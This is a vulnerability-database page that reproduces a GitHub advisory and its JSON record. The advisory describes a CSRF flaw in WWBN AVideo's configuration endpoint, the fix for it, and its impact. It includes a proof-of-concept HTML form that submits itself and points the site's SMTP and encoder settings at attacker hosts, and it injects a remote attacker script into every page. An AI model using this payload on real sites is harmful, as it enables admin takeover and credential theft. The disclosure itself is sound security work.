Vulnerability-Lookup

GHSA-VVFW-4M39-FJQF

Vulnerability from github – Published: 2026-04-14 23:12 – Updated: 2026-04-14 23:12

Summary

WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials

Details

Summary

objects/configurationUpdate.json.php (also routed via /updateConfig) persists dozens of global site settings from $_POST but protects the endpoint only with User::isAdmin(). It does not call forbidIfIsUntrustedRequest(), does not verify a globalToken, and does not validate the Origin/Referer header. Because AVideo intentionally sets session.cookie_samesite=None to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site <head> HTML, logo, favicon, contact email, and more in a single request.

Details

The entire authorization and CSRF check for the endpoint is this block at objects/configurationUpdate.json.php:10:

require_once $global['systemRootPath'] . 'objects/user.php';
if (!User::isAdmin()) {
    die('{"error":"' . __("Permission denied") . '"}');
}

Immediately after, $_POST values are written straight into the global AVideoConf object and persisted:

// objects/configurationUpdate.json.php
$config = new AVideoConf();
$config->setContactEmail($_POST['contactEmail']);          // :21
$config->setLanguage($_POST['language']);                  // :22
$config->setWebSiteTitle($_POST['webSiteTitle']);          // :23
$config->setDescription($_POST['description']);           // :24
$config->setAuthCanComment($_POST['authCanComment']);     // :25
$config->setAuthCanUploadVideos($_POST['authCanUploadVideos']); // :26
// Advanced (default enabled — $global['disableAdvancedConfigurations'] is empty by default):
$config->setEncoderURL($_POST['encoder_url']);            // :32
$config->setSmtp($_POST['smtp']);                         // :33
$config->setSmtpAuth($_POST['smtpAuth']);                 // :34
$config->setSmtpSecure($_POST['smtpSecure']);             // :35
$config->setSmtpHost($_POST['smtpHost']);                 // :36
$config->setSmtpUsername($_POST['smtpUsername']);         // :37
$config->setSmtpPassword($_POST['smtpPassword']);         // :38
$config->setSmtpPort($_POST['smtpPort']);                 // :39
$config->setHead($_POST['head']);                         // :42
// ...
// Logo / favicon writes:
$fileData = base64DataToImage($_POST['logoImgBase64']);   // :68
file_put_contents($global['systemRootPath'] . $photoURL, $fileData); // :71
// favicon base64 → file_put_contents → ImageMagick `convert` invocation (:88-120)
echo '{"status":"' . $config->save() . '", ...}';         // :130

Why CSRF actually lands

SameSite is intentionally None. objects/include_config.php:144 sets ini_set('session.cookie_samesite', 'None') and the adjacent comment states the design: "SameSite=None is intentional: AVideo supports cross-origin iframe embedding… All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)." This endpoint enforces no such token.
Project already ships a CSRF primitive and uses it elsewhere. objects/functionsSecurity.php:138 defines forbidIfIsUntrustedRequest(), and the peer admin endpoint objects/userUpdate.json.php:18 calls it explicitly. configurationUpdate.json.php has no such call — grepping the file confirms no forbidIfIsUntrustedRequest, verifyToken, globalToken, or Origin/Referer check.
The request is CORS-simple. The admin UI submits with jQuery $.ajax(...type: 'post', data: {...}) (see view/configurations_body.php:753), which sends application/x-www-form-urlencoded. That content type is a CORS "simple" request — no preflight — so any third-party origin can trigger it from a <form> with the admin's session cookie attached.
Reachable via two paths. Direct POST /objects/configurationUpdate.json.php works, and .htaccess:459 also exposes it at POST /updateConfig.

Impact primitives unlocked by a single CSRF request

setEncoderURL() — redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion in aVideoEncoder.json.php / videoAddNew.json.php) to the attacker's server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.
setSmtpHost/Username/Password/Port/Secure/Auth — the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker's SMTP relay, harvesting reset tokens and user credentials.
setHead() — attacker-chosen raw HTML is injected into every page's <head>, giving persistent site-wide stored XSS (e.g. <script src="https://attacker/evil.js"></script>) that fires in every visitor's browser including the admin, enabling session theft of arbitrary users.
logoImgBase64 / faviconBase64 — attacker-controlled bytes are file_put_contents-ed into the web root under videos/userPhoto/logo.png and videos/favicon.png.
setContactEmail, setWebSiteTitle, setAuthCanUploadVideos, setAllow_download, setSession_timeout, setAdsense, setDisable_analytics — full site policy and branding control.

PoC

Attacker hosts evil.html on any origin:

<!doctype html>
<html><body>
<form id="x" action="https://victim.example.com/objects/configurationUpdate.json.php"
      method="POST" enctype="application/x-www-form-urlencoded">
  <input name="contactEmail"        value="attacker@evil.com">
  <input name="language"            value="en">
  <input name="webSiteTitle"        value="Pwned">
  <input name="description"         value="x">
  <input name="authCanComment"      value="1">
  <input name="authCanUploadVideos" value="1">
  <input name="authCanViewChart"    value="1">
  <input name="disable_analytics"   value="0">
  <input name="allow_download"      value="1">
  <input name="session_timeout"     value="3600">
  <input name="encoder_url"         value="https://attacker.example.com/Encoder/">
  <input name="smtp"                value="1">
  <input name="smtpAuth"            value="1">
  <input name="smtpSecure"          value="tls">
  <input name="smtpHost"            value="smtp.attacker.com">
  <input name="smtpUsername"        value="attacker">
  <input name="smtpPassword"        value="password">
  <input name="smtpPort"            value="587">
  <input name="head"                value='<script src="https://attacker.example.com/evil.js"></script>'>
  <input name="adsense"             value="x">
  <input name="autoplay"            value="1">
  <input name="theme"               value="default">
</form>
<script>document.getElementById('x').submit();</script>
</body></html>

Any user authenticated as AVideo administrator (User::isAdmin() true) visits https://attacker.example.com/evil.html. Their browser submits the form cross-origin; because session.cookie_samesite=None, PHPSESSID is included; because it's an application/x-www-form-urlencoded POST, no preflight is sent.
Server-side check at configurationUpdate.json.php:10 passes (User::isAdmin() is true for the victim), and the body reaches $config->save() at :130. Response: json {"status":"1","respnseLogo":[],"respnseFavicon":null} The site-wide configuration is now rewritten with attacker-chosen values — verifiable by visiting any page and seeing the injected <script> in the rendered <head>, and by inspecting videos/configuration.php / the configurations table.
Stored-XSS pivot: every subsequent visitor (including other admins) now executes https://attacker.example.com/evil.js from the victim site's origin, yielding session theft / full admin takeover on what were previously unrelated accounts.
SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to smtp.attacker.com:587 with attacker:password, and any future mail from AVideo is observable by the attacker.

Impact

Full site configuration takeover from a single cross-origin form submission against any logged-in administrator.
Persistent stored XSS site-wide via setHead(), affecting every visitor and enabling session hijack of other admins and users.
Credential / reset-token exfiltration via attacker-controlled SMTP relay.
Encoder pipeline hijack: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.
Arbitrary file write under web root via logoImgBase64 / faviconBase64.
No bypass of admin auth is needed — the attacker uses the victim admin's own authenticated session; only a single visit to an attacker-controlled link is required.

Recommended Fix

Call the existing CSRF primitive immediately after the admin check, matching what objects/userUpdate.json.php:18 already does:

// objects/configurationUpdate.json.php
require_once $global['systemRootPath'] . 'objects/user.php';
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
if (!User::isAdmin()) {
    die('{"error":"' . __("Permission denied") . '"}');
}
forbidIfIsUntrustedRequest('configurationUpdate'); // same-origin / CSRF token check

Preferably also require a short-lived globalToken (verifyToken($_REQUEST['globalToken'])) as include_config.php:140-143 prescribes, and update view/configurations_body.php to include that token in the AJAX payload. Audit all other objects/*.json.php state-mutating endpoints for the same omission — the pattern is structural and likely present on more endpoints.

Severity ?

8.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:12:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site\u0027s encoder URL, SMTP credentials, site `\u003chead\u003e` HTML, logo, favicon, contact email, and more in a single request.\n\n## Details\n\nThe entire authorization and CSRF check for the endpoint is this block at `objects/configurationUpdate.json.php:10`:\n\n```php\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/user.php\u0027;\nif (!User::isAdmin()) {\n    die(\u0027{\"error\":\"\u0027 . __(\"Permission denied\") . \u0027\"}\u0027);\n}\n```\n\nImmediately after, `$_POST` values are written straight into the global `AVideoConf` object and persisted:\n\n```php\n// objects/configurationUpdate.json.php\n$config = new AVideoConf();\n$config-\u003esetContactEmail($_POST[\u0027contactEmail\u0027]);          // :21\n$config-\u003esetLanguage($_POST[\u0027language\u0027]);                  // :22\n$config-\u003esetWebSiteTitle($_POST[\u0027webSiteTitle\u0027]);          // :23\n$config-\u003esetDescription($_POST[\u0027description\u0027]);           // :24\n$config-\u003esetAuthCanComment($_POST[\u0027authCanComment\u0027]);     // :25\n$config-\u003esetAuthCanUploadVideos($_POST[\u0027authCanUploadVideos\u0027]); // :26\n// Advanced (default enabled \u2014 $global[\u0027disableAdvancedConfigurations\u0027] is empty by default):\n$config-\u003esetEncoderURL($_POST[\u0027encoder_url\u0027]);            // :32\n$config-\u003esetSmtp($_POST[\u0027smtp\u0027]);                         // :33\n$config-\u003esetSmtpAuth($_POST[\u0027smtpAuth\u0027]);                 // :34\n$config-\u003esetSmtpSecure($_POST[\u0027smtpSecure\u0027]);             // :35\n$config-\u003esetSmtpHost($_POST[\u0027smtpHost\u0027]);                 // :36\n$config-\u003esetSmtpUsername($_POST[\u0027smtpUsername\u0027]);         // :37\n$config-\u003esetSmtpPassword($_POST[\u0027smtpPassword\u0027]);         // :38\n$config-\u003esetSmtpPort($_POST[\u0027smtpPort\u0027]);                 // :39\n$config-\u003esetHead($_POST[\u0027head\u0027]);                         // :42\n// ...\n// Logo / favicon writes:\n$fileData = base64DataToImage($_POST[\u0027logoImgBase64\u0027]);   // :68\nfile_put_contents($global[\u0027systemRootPath\u0027] . $photoURL, $fileData); // :71\n// favicon base64 \u2192 file_put_contents \u2192 ImageMagick `convert` invocation (:88-120)\necho \u0027{\"status\":\"\u0027 . $config-\u003esave() . \u0027\", ...}\u0027;         // :130\n```\n\n### Why CSRF actually lands\n\n1. **SameSite is intentionally `None`.** `objects/include_config.php:144` sets `ini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027)` and the adjacent comment states the design: *\"SameSite=None is intentional: AVideo supports cross-origin iframe embedding\u2026 All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\"* This endpoint enforces no such token.\n\n2. **Project already ships a CSRF primitive and uses it elsewhere.** `objects/functionsSecurity.php:138` defines `forbidIfIsUntrustedRequest()`, and the peer admin endpoint `objects/userUpdate.json.php:18` calls it explicitly. `configurationUpdate.json.php` has no such call \u2014 grepping the file confirms no `forbidIfIsUntrustedRequest`, `verifyToken`, `globalToken`, or Origin/Referer check.\n\n3. **The request is CORS-simple.** The admin UI submits with jQuery `$.ajax(...type: \u0027post\u0027, data: {...})` (see `view/configurations_body.php:753`), which sends `application/x-www-form-urlencoded`. That content type is a CORS \"simple\" request \u2014 no preflight \u2014 so any third-party origin can trigger it from a `\u003cform\u003e` with the admin\u0027s session cookie attached.\n\n4. **Reachable via two paths.** Direct `POST /objects/configurationUpdate.json.php` works, and `.htaccess:459` also exposes it at `POST /updateConfig`.\n\n### Impact primitives unlocked by a single CSRF request\n\n- **`setEncoderURL()`** \u2014 redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion in `aVideoEncoder.json.php` / `videoAddNew.json.php`) to the attacker\u0027s server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.\n- **`setSmtpHost/Username/Password/Port/Secure/Auth`** \u2014 the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker\u0027s SMTP relay, harvesting reset tokens and user credentials.\n- **`setHead()`** \u2014 attacker-chosen raw HTML is injected into every page\u0027s `\u003chead\u003e`, giving persistent site-wide stored XSS (e.g. `\u003cscript src=\"https://attacker/evil.js\"\u003e\u003c/script\u003e`) that fires in every visitor\u0027s browser including the admin, enabling session theft of arbitrary users.\n- **`logoImgBase64` / `faviconBase64`** \u2014 attacker-controlled bytes are `file_put_contents`-ed into the web root under `videos/userPhoto/logo.png` and `videos/favicon.png`.\n- **`setContactEmail`, `setWebSiteTitle`, `setAuthCanUploadVideos`, `setAllow_download`, `setSession_timeout`, `setAdsense`, `setDisable_analytics`** \u2014 full site policy and branding control.\n\n## PoC\n\n1. Attacker hosts `evil.html` on any origin:\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cform id=\"x\" action=\"https://victim.example.com/objects/configurationUpdate.json.php\"\n      method=\"POST\" enctype=\"application/x-www-form-urlencoded\"\u003e\n  \u003cinput name=\"contactEmail\"        value=\"attacker@evil.com\"\u003e\n  \u003cinput name=\"language\"            value=\"en\"\u003e\n  \u003cinput name=\"webSiteTitle\"        value=\"Pwned\"\u003e\n  \u003cinput name=\"description\"         value=\"x\"\u003e\n  \u003cinput name=\"authCanComment\"      value=\"1\"\u003e\n  \u003cinput name=\"authCanUploadVideos\" value=\"1\"\u003e\n  \u003cinput name=\"authCanViewChart\"    value=\"1\"\u003e\n  \u003cinput name=\"disable_analytics\"   value=\"0\"\u003e\n  \u003cinput name=\"allow_download\"      value=\"1\"\u003e\n  \u003cinput name=\"session_timeout\"     value=\"3600\"\u003e\n  \u003cinput name=\"encoder_url\"         value=\"https://attacker.example.com/Encoder/\"\u003e\n  \u003cinput name=\"smtp\"                value=\"1\"\u003e\n  \u003cinput name=\"smtpAuth\"            value=\"1\"\u003e\n  \u003cinput name=\"smtpSecure\"          value=\"tls\"\u003e\n  \u003cinput name=\"smtpHost\"            value=\"smtp.attacker.com\"\u003e\n  \u003cinput name=\"smtpUsername\"        value=\"attacker\"\u003e\n  \u003cinput name=\"smtpPassword\"        value=\"password\"\u003e\n  \u003cinput name=\"smtpPort\"            value=\"587\"\u003e\n  \u003cinput name=\"head\"                value=\u0027\u003cscript src=\"https://attacker.example.com/evil.js\"\u003e\u003c/script\u003e\u0027\u003e\n  \u003cinput name=\"adsense\"             value=\"x\"\u003e\n  \u003cinput name=\"autoplay\"            value=\"1\"\u003e\n  \u003cinput name=\"theme\"               value=\"default\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027x\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n2. Any user authenticated as AVideo administrator (`User::isAdmin()` true) visits `https://attacker.example.com/evil.html`. Their browser submits the form cross-origin; because `session.cookie_samesite=None`, `PHPSESSID` is included; because it\u0027s an `application/x-www-form-urlencoded` POST, no preflight is sent.\n\n3. Server-side check at `configurationUpdate.json.php:10` passes (`User::isAdmin()` is true for the victim), and the body reaches `$config-\u003esave()` at `:130`. Response:\n   ```json\n   {\"status\":\"1\",\"respnseLogo\":[],\"respnseFavicon\":null}\n   ```\n   The site-wide configuration is now rewritten with attacker-chosen values \u2014 verifiable by visiting any page and seeing the injected `\u003cscript\u003e` in the rendered `\u003chead\u003e`, and by inspecting `videos/configuration.php` / the `configurations` table.\n\n4. Stored-XSS pivot: every subsequent visitor (including other admins) now executes `https://attacker.example.com/evil.js` from the victim site\u0027s origin, yielding session theft / full admin takeover on what were previously unrelated accounts.\n\n5. SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to `smtp.attacker.com:587` with `attacker:password`, and any future mail from AVideo is observable by the attacker.\n\n## Impact\n\n- **Full site configuration takeover** from a single cross-origin form submission against any logged-in administrator.\n- **Persistent stored XSS site-wide** via `setHead()`, affecting every visitor and enabling session hijack of other admins and users.\n- **Credential / reset-token exfiltration** via attacker-controlled SMTP relay.\n- **Encoder pipeline hijack**: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.\n- **Arbitrary file write under web root** via `logoImgBase64` / `faviconBase64`.\n- No bypass of admin auth is needed \u2014 the attacker uses the victim admin\u0027s own authenticated session; only a single visit to an attacker-controlled link is required.\n\n## Recommended Fix\n\nCall the existing CSRF primitive immediately after the admin check, matching what `objects/userUpdate.json.php:18` already does:\n\n```php\n// objects/configurationUpdate.json.php\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/user.php\u0027;\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/functionsSecurity.php\u0027;\nif (!User::isAdmin()) {\n    die(\u0027{\"error\":\"\u0027 . __(\"Permission denied\") . \u0027\"}\u0027);\n}\nforbidIfIsUntrustedRequest(\u0027configurationUpdate\u0027); // same-origin / CSRF token check\n```\n\nPreferably also require a short-lived `globalToken` (`verifyToken($_REQUEST[\u0027globalToken\u0027])`) as `include_config.php:140-143` prescribes, and update `view/configurations_body.php` to include that token in the AJAX payload. Audit all other `objects/*.json.php` state-mutating endpoints for the same omission \u2014 the pattern is structural and likely present on more endpoints.",
  "id": "GHSA-vvfw-4m39-fjqf",
  "modified": "2026-04-14T23:12:30Z",
  "published": "2026-04-14T23:12:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-vvfw-4m39-fjqf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/f9492f5e6123dff0292d5bb3164fde7665dc36b4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials"
}

CVE-2026-40925 (GCVE-0-2026-40925)

Vulnerability from cvelistv5 – Published: 2026-04-21 19:58 – Updated: 2026-04-21 20:35

Title

WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials

Summary

WWBN AVideo is an open source video platform. In versions 29.0 and prior, `objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site `<head>` HTML, logo, favicon, contact email, and more in a single request. Commit f9492f5e6123dff0292d5bb3164fde7665dc36b4 contains a fix.

Severity ?

8.3 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

CWE

CWE-352 - Cross-Site Request Forgery (CSRF)

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	WWBN	AVideo	Affected: <= 29.0

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-VVFW-4M39-FJQF

Summary

Details

Why CSRF actually lands

Impact primitives unlocked by a single CSRF request

PoC

Impact

Recommended Fix

CVE-2026-40925 (GCVE-0-2026-40925)

Tags

Sightings

Nomenclature